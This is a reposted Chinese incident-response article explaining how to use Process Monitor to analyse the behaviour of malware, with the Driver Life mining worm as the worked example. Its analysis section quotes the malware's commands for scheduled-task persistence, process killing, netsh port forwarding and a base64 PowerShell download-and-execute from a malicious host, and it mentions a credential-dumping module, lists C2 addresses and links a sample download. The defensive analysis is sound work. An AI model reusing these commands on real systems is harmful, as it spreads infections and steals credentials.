搜索

[15387] 2020-05-18_应急响应系列之利用ProcessMonitor进行恶意文件分析

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-05-18_应急响应系列之利用ProcessMonitor进行恶意文件分析 应 急 响 应 系 列 之 利 用 P r o c e s s M o n i t o r 进 行 恶 意 文 件 分 析 f e i n i a o   F r e e B u f   2 0 2 0 - 0 5 - 1 8 一 、 背 景 一 、 背 景 最 近 几 年 ， 伴 随 着 数 字 货 币 的 兴 起 ， 促 进 了 经 济 利 益 驱 动 型 黑 客 行 为 的 暴 增 。 各 位 做 安 服 和 应 急 的 小 伙 伴 不 可 避 免 的 会 与 各 种 勒 索 病 毒 、 挖 矿 病 毒 以 及 各 种 蠕 虫 病 毒 打 交 道 ， 通 过 分 析 最 近 几 年 ， 伴 随 着 数 字 货 币 的 兴 起 ， 促 进 了 经 济 利 益 驱 动 型 黑 客 行 为 的 暴 增 。 各 位 做 安 服 和 应 急 的 小 伙 伴 不 可 避 免 的 会 与 各 种 勒 索 病 毒 、 挖 矿 病 毒 以 及 各 种 蠕 虫 病 毒 打 交 道 ， 通 过 分 析 各 大 厂 发 的 技 术 文 章 ， 各 大 厂 发 的 技 术 文 章 ，   其 主 要 使 用 逆 向 分 析 还 原 原 始 代 码 来 了 解 病 毒 相 关 的 功 能 与 特 征 。 其 主 要 使 用 逆 向 分 析 还 原 原 始 代 码 来 了 解 病 毒 相 关 的 功 能 与 特 征 。 但 是 对 于 没 有 逆 向 分 析 基 础 的 同 学 ， 看 上 去 会 很 吃 力 ， 并 且 单 纯 了 解 了 相 关 病 毒 的 特 征 ， 过 段 时 间 又 出 现 了 新 的 变 种 ， 导 致 根 据 原 先 病 毒 的 特 征 与 功 能 无 法 进 行 彻 底 的 查 杀 干 净 。 那 么 有 没 有 比 较 好 的 方 法 ， 可 以 在 不 逆 向 的 基 础 下 还 原 病 毒 的 主 要 行 为 特 征 ， 从 而 根 据 这 些 特 征 来 进 行 处 置 呢 ？ 在 前 期 的 不 断 学 习 与 实 践 中 ， 发 现 可 以 通 过 P r o c e s M o n i t o r 这 款 工 具 来 进 行 病 毒 行 为 的 分 析 ， 当 然 除 了 P r o c e s s M o n i t o r 外 还 有 火 绒 剑 以 及 各 种 工 具 的 组 合 也 可 以 实 现 这 种 效 果 ， 但 是 P r o c e s M o n i t o r 的 微 软 原 生 、 不 需 要 安 装 、 占 用 性 能 低 、 功 能 齐 全 等 特 点 决 定 其 整 体 分 析 效 果 相 比 其 他 软 件 好 很 多 。 二 、 专 杀 原 理 二 、 专 杀 原 理 目 前 各 大 杀 软 与 E D R 厂 商 以 及 个 人 研 究 者 针 对 不 同 的 病 毒 ， 如 R a m n i t 、 驱 动 人 生 、 S a l i t y 、 飞 客 蠕 虫 都 在 推 出 自 己 的 专 杀 工 具 ， 那 么 有 没 有 小 伙 伴 想 过 病 毒 专 杀 工 具 的 原 理 呢 ？ 其 实 仔 细 想 想 也 不 复 杂 ， 其 专 杀 的 核 心 逻 辑 如 下 所 示 ： 1 .     分 析 病 毒 的 功 能 特 征 ( 文 件 行 为 、 注 册 表 行 为 、 网 络 行 为 、 进 程 操 作 等 ) ， 这 一 块 是 专 杀 的 核 心 要 点 ， 必 须 把 病 毒 的 行 为 分 析 透 彻 2 .     针 对 病 毒 的 相 应 行 为 进 行 反 制 ， 如 病 毒 在 c : w i n d o w s 下 创 建 了 1 . e x e 文 件 ， 专 杀 就 是 到 c : w i n d o w s 下 找 到 这 个 文 件 并 删 除 ( 根 据 M D 5 判 断 是 否 是 同 一 个 文 件 ) 说 起 来 很 简 单 ， 但 是 在 真 实 的 实 战 中 ， 需 要 病 毒 专 杀 作 者 深 入 分 析 病 毒 的 功 能 特 征 ， 并 且 完 善 相 应 代 码 来 进 行 查 杀 。 但 是 在 真 实 的 场 景 下 存 在 各 种 问 题 导 致 专 杀 查 杀 不 彻 底 ， 这 个 时 候 就 需 要 根 据 其 特 征 来 进 行 手 工 清 除 。 三 、 核 心 功 能 三 、 核 心 功 能 回 归 正 题 ， 我 们 来 分 析 一 下 P r o c e s s M o n i t o r 的 主 要 功 能 : 注 册 表 行 为 分 析 文 件 行 为 分 析 网 络 行 为 分 析 进 程 行 为 分 析 3 . 1   注 册 表 行 为 分 析 注 册 表 行 为 分 析 主 要 分 析 针 对 注 册 表 的 以 下 行 为 打 开 注 册 表 表 项 创 建 注 册 表 表 项 创 建 注 册 表 键 值 设 置 注 册 表 表 项 设 置 注 册 表 键 值 删 除 注 册 表 表 项 删 除 注 册 表 键 值 查 询 注 册 表 表 项 查 询 注 册 表 键 值 枚 举 注 册 表 表 项 枚 举 键 值 … … 直 接 使 用 过 滤 注 册 表 的 行 为 ， 我 们 可 以 看 到 相 关 进 程 对 注 册 表 的 操 作 行 为 。 这 个 时 候 可 以 进 行 过 滤 ， 个 人 感 觉 过 滤 绝 对 是 P r o c e s s M o n i t o r 一 个 强 大 的 功 能 。 过 滤 的 可 以 针 对 具 体 的 进 程 、 操 作 方 法 、 P I D 、 结 果 等 条 件 来 进 行 单 项 或 者 组 合 过 滤 。
个 人 感 觉 在 实 战 中 用 的 比 较 多 的 针 对 注 册 表 的 操 作 行 为 有 ： 枚 举 注 册 表 表 项 与 键 值 创 建 注 册 表 表 项 与 键 值 设 置 键 值 删 除 注 册 表 表 项 与 键 值 修 改 注 册 表 键 值 … … 我 们 直 接 过 滤 r e g s e t v a l u e ， 可 以 看 到 过 滤 后 的 信 息 如 下 ： 我 们 将 其 打 开 ， 可 以 看 到 其 对 注 册 表 的 相 关 操 作 。 另 外 ， 也 可 以 通 过 R e g S h o t 这 个 工 具 来 比 较 注 册 表 的 变 化 情 况 ， 其 在 病 毒 运 行 前 和 运 行 后 可 运 行 一 次 ， 通 过 对 比 病 毒 运 行 前 后 注 册 表 的 变 化 来 分 析 病 毒 针 对 注 册 表 的 操 作 。 3 . 2   文 件 行 为 分 析 文 件 行 为 分 析 主 要 的 针 对 文 件 操 作 的 行 为 有 ： 创 建 文 件 删 除 文 件 复 制 文 件 锁 定 文 件 隐 蔽 文 件 读 写 文 件 … …
3 . 3   网 络 行 为 分 析 网 络 行 为 分 析 这 一 块 个 人 感 觉 功 能 相 对 较 弱 ， 只 能 看 到 T C P 五 元 组 信 息 与 应 用 层 交 互 的 统 计 信 息 ， 无 法 看 到 详 细 交 互 的 内 容 。 这 一 块 ， 虽 然 通 过 流 量 可 以 看 到 病 毒 程 序 所 连 接 的 对 方 的 I P 、 端 口 以 及 部 分 统 计 信 息 ， 但 是 无 法 深 入 分 析 其 交 互 的 具 体 内 容 。 个 人 还 是 建 议 使 用 w i r e s h a r k 或 t s h a r k 来 过 滤 网 络 的 流 量 ， 这 样 后 续 可 以 深 入 分 析 原 始 的 内 容 ， 以 了 解 病 毒 程 序 主 要 的 行 为 特 征 。 3 . 4   进 程 与 线 程 行 为 分 析 进 程 与 线 程 行 为 分 析 这 一 块 是 病 毒 分 析 的 重 点 ， 需 要 深 入 分 析 与 关 注 。 一 般 情 况 下 ， 病 毒 程 序 释 放 的 时 候 会 创 建 相 应 的 进 程 、 线 程 等 。 相 应 的 进 程 、 线 程 会 进 行 不 同 的 操 作 。 一 般 情 况 下 ， 各 种 挖 矿 病 毒 除 了 主 流 的 挖 矿 功 能 外 ， 还 会 加 上 蠕 虫 传 播 的 特 性 ， 这 样 的 话 会 释 放 不 同 的 功 能 模 板 ， 如 S M B 爆 破 模 板 、 永 恒 之 蓝 漏 洞 利 用 模 板 、 R D P 爆 破 模 板 等 。 这 里 面 相 关 进 程 与 线 程 的 创 建 与 其 相 关 的 特 征 通 过 进 程 与 线 程 这 个 功 能 模 板 都 可 以 进 行 深 入 的 分 析 。 另 外 ， P r o c e s s M o n i t o r 还 有 一 个 比 较 好 的 功 能 特 征 ， 就 是 s h o w   p r o c e s s   t r e e ， 以 树 结 构 的 形 式 来 显 示 相 应 的 进 程 ， 这 个 功 能 非 常 直 观 友 好 ， 一 图 胜 千 言 ， 直 接 上 图 ： 四 、 病 毒 实 战 四 、 病 毒 实 战 4 . 1   概 述 概 述 在 这 里 面 我 们 以 前 段 时 间 比 较 流 行 的 驱 动 人 生 病 毒 来 分 析 其 主 要 的 功 能 特 征 ， 释 放 病 毒 时 主 要 运 行 s e t u p - i n s t a l l . e x e 和 s v c h o s t . e x e 即 可 ， 相 应 的 病 毒 样 本 如 下 所 示 ： 为 了 验 证 通 过 使 用 P r o c e s s M o n i t o r 分 析 病 毒 功 能 特 征 的 完 整 性 ， 我 们 找 了 吾 爱 破 解 上 的 一 篇 分 析 比 较 齐 全 的 针 对 驱 动 人 生 的 分 析 文 章 ， 相 应 链 接 如 下 ： h t t p s : / / w w w . 5 2 p o j i e . c n / t h r e a d - 9 8 3 5 1 9 - 1 - 1 . h t m l 运 行 s e t u p - i n s t a l l . e x e 和 s v c h o s t . e x e 病 毒 样 本 以 后 ， 使 用 P r o c e s s M o n i t o r 捕 捉 的 样 本 保 存 后 ， 我 们 来 进 行 分 析 ： 4 . 2     进 程 分 析 进 程 分 析 4 . 2 . 1       s e t u p - i n s t a l l . e x e 功 能 分 析 功 能 分 析 直 接 使 用 s h o w   p r o c e s s t r e e 的 功 能 ， 可 以 看 到 s e t u p - i n s t a l l . e x e 的 主 要 功 能 如 下 ：
将 其 过 滤 以 后 ， 功 能 如 下 : 4 . 2 . 2       s v c h o s t . e x e 功 能 分 析 功 能 分 析 同 样 ， 使 用 s h o w p r o c e s s   t r e e 功 能 ， 可 以 看 出 ， s v c h o s t . e x e 的 主 要 功 能 如 下 所 示 ： 过 滤 相 应 的 c o m m a n d ， 其 执 行 的 进 程 与 命 令 如 下 所 示 ： 4 . 3   文 件 行 为 分 析 文 件 行 为 分 析 S e t u p - i n s t a l l . e x e 创 建 t t t . e x e 文 件 ， 并 设 置 隐 藏 属 性 4 . 4   注 册 表 行 为 分 析 注 册 表 行 为 分 析 创 建 两 个 启 动 项 1 . 创 建 名 为 D d r i v e r 启 动 项 ， 加 载 c : w i n d o w s S y s W O W 6 4 d r i v e r s s v c h o s t . e x e #   查 询 与 启 动 服 务 s c     s t a r t   S c h e d u l e s c     q u e r y   S c h e d u l e n e t s t a r t   W e b S e r v e r s #   删 除 原 有 的 W e b S e r v e r s 并 创 建 新 的 W e b S e r v e r s 定 时 任 务 s t a r t / b   s c   s t a r t   S c h e d u l e & p i n g   l o c a l h o s t & s c   q u e r y   S c h e d u l e | f i n d s t r R U N N I N G & & ( s c h t a s k s   / d e l e t e   / T N   W e b S e r v e r s   / f & s c h t a s k s   / c r e a t e   / r u s y s t e m   / s c   M I N U T E   / m o   5 0   / S T   0 7 : 0 0 : 0 0   / T N   W e b S e r v e r s   / t r   " c m d . e x e   / c c : w i n d o w s S y s W O W 6 4 w m i e x . e x e " & s c h t a s k s   / r u n   / T N   W e b S e r v e r s ) #   终 止 s v h o s t . e x e 、 s v h h o s t . e x e 、 s v v h o s t . e x e 、 w m i e x . e x e 进 程 t a s k k i l l / f   / i m   s v h o s t . e x e   / i m   s v h h o s t . e x e   / i m   s v v h o s t . e x e   &   m o v e   / y c : w i n d o w s t e m p s v v h o s t . e x e   c : w i n d o w s t e m p s v c h o s t . e x e   &   d e l c : w i n d o w s s y s t e m 3 2 s v h h o s t . e x e   &   d e l   c : w i n d o w s s y s w o w 6 4 s v h h o s t . e x e t a s k k i l l / f   / i m   w m i e x . e x e #   w m i c 删 除 相 应 的 进 程 w m i c     p r o c e s s   w h e r e   " n a m e = ' s v h o s t . e x e '   o r n a m e = ' s v h h o s t . e x e '   o r   n a m e = ' s v v h o s t . e x e ' "   d e l e t e w m i c     p r o c e s s   w h e r e   " E x e c u t a b l e P a t h   l i k e ' % d r i v e r s % '   a n d   n a m e = ' t a s k m g r . e x e ' "   d e l e t e w m i c     p r o c e s s   w h e r e   " E x e c u t a b l e P a t h   l i k e ' % d r i v e r s % '   a n d   n a m e = ' s v c h o s t . e x e ' "   d e l e t e w m i c     p r o c e s s   w h e r e   " E x e c u t a b l e P a t h   l i k e ' % e m p % '   a n d   n a m e = ' s v c h o s t . e x e ' "   d e l e t e #   创 建 端 口 转 发 策 略 ， 将 本 机 6 5 5 3 1 - 6 5 5 3 3 端 口 转 发 到 1 . 1 . 1 . 1 的 5 3 端 口 n e t s h i n t e r f a c e   i p v 6   i n s t a l l & n e t s h   f i r e w a l l   a d d   p o r t o p e n i n g   t c p   6 5 5 3 2   U D P n e t s h i n t e r f a c e   p o r t p r o x y   a d d   v 4 t o v 4   l i s t e n p o r t = 6 5 5 3 2   c o n n e c t a d d r e s s = 1 . 1 . 1 . 1 c o n n e c t p o r t = 5 3 n e t s h f i r e w a l l   a d d   p o r t o p e n i n g   t c p   6 5 5 3 1   U D P 2 n e t s h i n t e r f a c e   p o r t p r o x y   a d d   v 4 t o v 4   l i s t e n p o r t = 6 5 5 3 1   c o n n e c t a d d r e s s = 1 . 1 . 1 . 1 c o n n e c t p o r t = 5 3 n e t s h f i r e w a l l   a d d   p o r t o p e n i n g   t c p   6 5 5 3 3   S h a r e S e r v i c e #   创 建 防 火 墙 策 略 ， 阻 断 访 问 本 地 T C P   4 4 5 n e t u s e r & n e t s h   a d v f i r e w a l l   s e t   a l l p r o f i l e   s t a t e   o n & n e t s h   a d v f i r e w a l l f i r e w a l l   a d d   r u l e   n a m e = d e n y y 4 4 5   d i r = i n   a c t i o n = b l o c k   p r o t o c o l = T C P   l o c a l p o r t = 4 4 5 #   创 建 名 为 D n s S c a n 的 定 时 任 务 ， 每 一 小 时 运 行 一 次 ， 主 要 运 行 C : W i n d o w s t e m p s v c h o s t . e x e 文 件 s c h t a s k s / c r e a t e   / r u   s y s t e m   / s c   M I N U T E   / m o   6 0   / s t   0 7 : 0 5 : 0 0   / t n   D n s S c a n   / t r " C : W i n d o w s t e m p s v c h o s t . e x e "   / F #   创 建 p o w e r s h e l l 定 时 任 务 ， b a s e 6 4 解 码 后 ， 其 脚 本 为 I E X   ( N e w - O b j e c t N e t . W e b C l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / v . b e a h h . c o m / v ' + $ e n v : U S E R D O M A I N ) s c h t a s k s / c r e a t e   / r u   s y s t e m   / s c   M I N U T E   / m o   5 0   / s t   0 7 : 0 0 : 0 0   / t n " M i c r o s o f t w i n d o w s B l u e t o o t h s "   / t r   " p o w e r s h e l l   - e p   b y p a s s   - e S Q B F A F g A I A A o A E 4 A Z Q B 3 A C 0 A T w B i A G o A Z Q B j A H Q A I A B O A G U A d A A u A F c A Z Q B i A E M A b A B p A G U A b g B 0 A C k A L g B k A G 8 A d w B u A G w A b w B h A G Q A c w B 0 A H I A a Q B u A G c A K A A n A G g A d A B 0 A H A A O g A v A C 8 A d g A u A G I A Z Q B h A G g A a A A u A G M A b w B t A C 8 A d g A n A C s A J A B l A G 4 A d g A 6 A F U A U w B F A F I A R A B P A E 0 A Q Q B J A E 4 A K Q A = " / F #   执 行 p o w e r s h e l l 加 载 m . p s 1 获 取 系 统 密 码 实 现 内 网 传 染 C : W i n d o w s S y s N a t i v e W i n d o w s P o w e r S h e l l v 1 . 0 p o w e r s h e l l . e x e - e x e c   b y p a s s   " i m p o r t - m o d u l e   c : w i n d o w s t e m p m . p s 1 ; I n v o k e - C a t s   - p w d s " #   获 取 域 名 与 用 户 w m i c n t d o m a i n   g e t   d o m a i n n a m e n e t u s e r
2 . 创 建 名 为 W e b S e r v e r s 的 启 动 项 ， 启 动 加 载 c : w i n d o w s S y s W O W 6 4 w m i e x . e x e 4 . 5   网 络 行 为 分 析 网 络 行 为 分 析 前 面 说 过 通 过 P r o c e s s M o n i t o r 的 网 络 行 为 分 析 ， 只 能 看 到 相 应 的 五 无 组 信 息 ， 无 法 分 析 到 交 互 的 数 据 包 内 容 。 通 过 分 析 ， 可 以 看 到 交 互 的 部 分 连 接 五 元 组 信 息 如 下 所 示 ： 去 重 后 ， 可 以 看 到 和 以 下 域 名 进 行 通 信 看 了 一 下 ， 网 络 通 信 这 一 块 还 有 好 多 地 址 没 有 抓 到 ， 可 能 和 样 本 释 放 程 度 有 关 系 。 大 家 可 以 在 虚 拟 机 上 运 行 一 段 时 间 ， 把 样 本 全 部 释 放 以 后 再 分 析 一 下 。 4 . 6     对 比 对 比 将 样 本 上 传 到 微 步 中 ， 相 关 链 接 如 下 ： h t t p s : / / s . t h r e a t b o o k . c n / r e p o r t / f i l e / b d b f a 9 6 d 1 7 c 2 f 0 6 f 6 8 b 3 b c c 8 4 5 6 8 c f 4 4 5 9 1 5 e 1 9 4 f 1 3 0 b 0 d c 2 4 1 1 8 0 5 c f 8 8 9 b 6 c c / ? s i g n = h i s t o r y & e n v = w i n 7 s p 1 e n x 8 6 _ o f f i c e 2 0 1 3 h t t p s : / / s . t h r e a t b o o k . c n / r e p o r t / f i l e / 6 0 b 6 d 7 6 6 4 5 9 8 e 6 a 9 8 8 d 9 3 8 9 e 6 3 5 9 8 3 8 b e 9 6 6 d f a 5 4 8 5 9 d 5 c b 1 4 5 3 c b c 9 b 1 2 6 e d 7 d / ? e n v = w i n 7 s p 1 e n x 8 6 _ o f f i c e 2 0 1 3 借 用 微 步 的 一 张 截 图 来 分 析 其 行 为 ： 4 2 . p l 7 2 . 5 2 . 1 7 9 . 1 7 4 l i 1 1 7 6 - 2 0 . m e m b e r s . l i n o d e . c o m l i 1 1 7 6 - 2 0 . m e m b e r s . l i n o d e . c o m m a i l 4 1 1 . u s 2 . m c s v . n e t
五 、 总 结 五 、 总 结 通 过 上 面 的 实 战 可 以 看 出 ， 在 不 熟 悉 逆 向 或 者 因 为 样 本 对 抗 导 致 难 以 逆 向 的 时 候 使 用 P r o c e s s M o n i t o r 可 以 快 速 的 分 析 病 毒 的 行 为 ， 在 一 定 程 度 上 提 高 了 分 析 的 效 率 与 质 量 。 其 具 有 以 下 特 点 ： 不 需 要 专 业 的 逆 向 与 反 汇 编 技 能 上 手 快 、 效 果 好 … … 但 是 以 下 下 面 情 况 无 法 使 用 或 分 析 不 全 ： 反 虚 拟 机 反 沙 箱   … … 总 的 来 说 ， 不 是 一 款 不 错 的 病 毒 分 析 工 具 。 六 、 参 考 六 、 参 考 h t t p s : / / w w w . 5 2 p o j i e . c n / t h r e a d - 9 8 3 5 1 9 - 1 - 1 . h t m l h t t p s : / / s . t h r e a t b o o k . c n / r e p o r t / f i l e / 6 0 b 6 d 7 6 6 4 5 9 8 e 6 a 9 8 8 d 9 3 8 9 e 6 3 5 9 8 3 8 b e 9 6 6 d f a 5 4 8 5 9 d 5 c b 1 4 5 3 c b c 9 b 1 2 6 e d 7 d / ? e n v = w i n 7 s p 1 e n x 8 6 _ o f f i c e 2 0 1 3 h t t p s : / / s . t h r e a t b o o k . c n / r e p o r t / f i l e / b d b f a 9 6 d 1 7 c 2 f 0 6 f 6 8 b 3 b c c 8 4 5 6 8 c f 4 4 5 9 1 5 e 1 9 4 f 1 3 0 b 0 d c 2 4 1 1 8 0 5 c f 8 8 9 b 6 c c / ? s i g n = h i s t o r y & e n v = w i n 7 s p 1 e n x 8 6 _ o f f i c e 2 0 1 3 样 本 链 接 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 f L a x s t v U E D a 8 _ r 3 e Y 4 q 3 8 w 提 取 码 ： 0 e v l * 本 文 作 者 ： 本 文 作 者 ： f e i n i a o ， 转 载 请 注 明 来 自 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理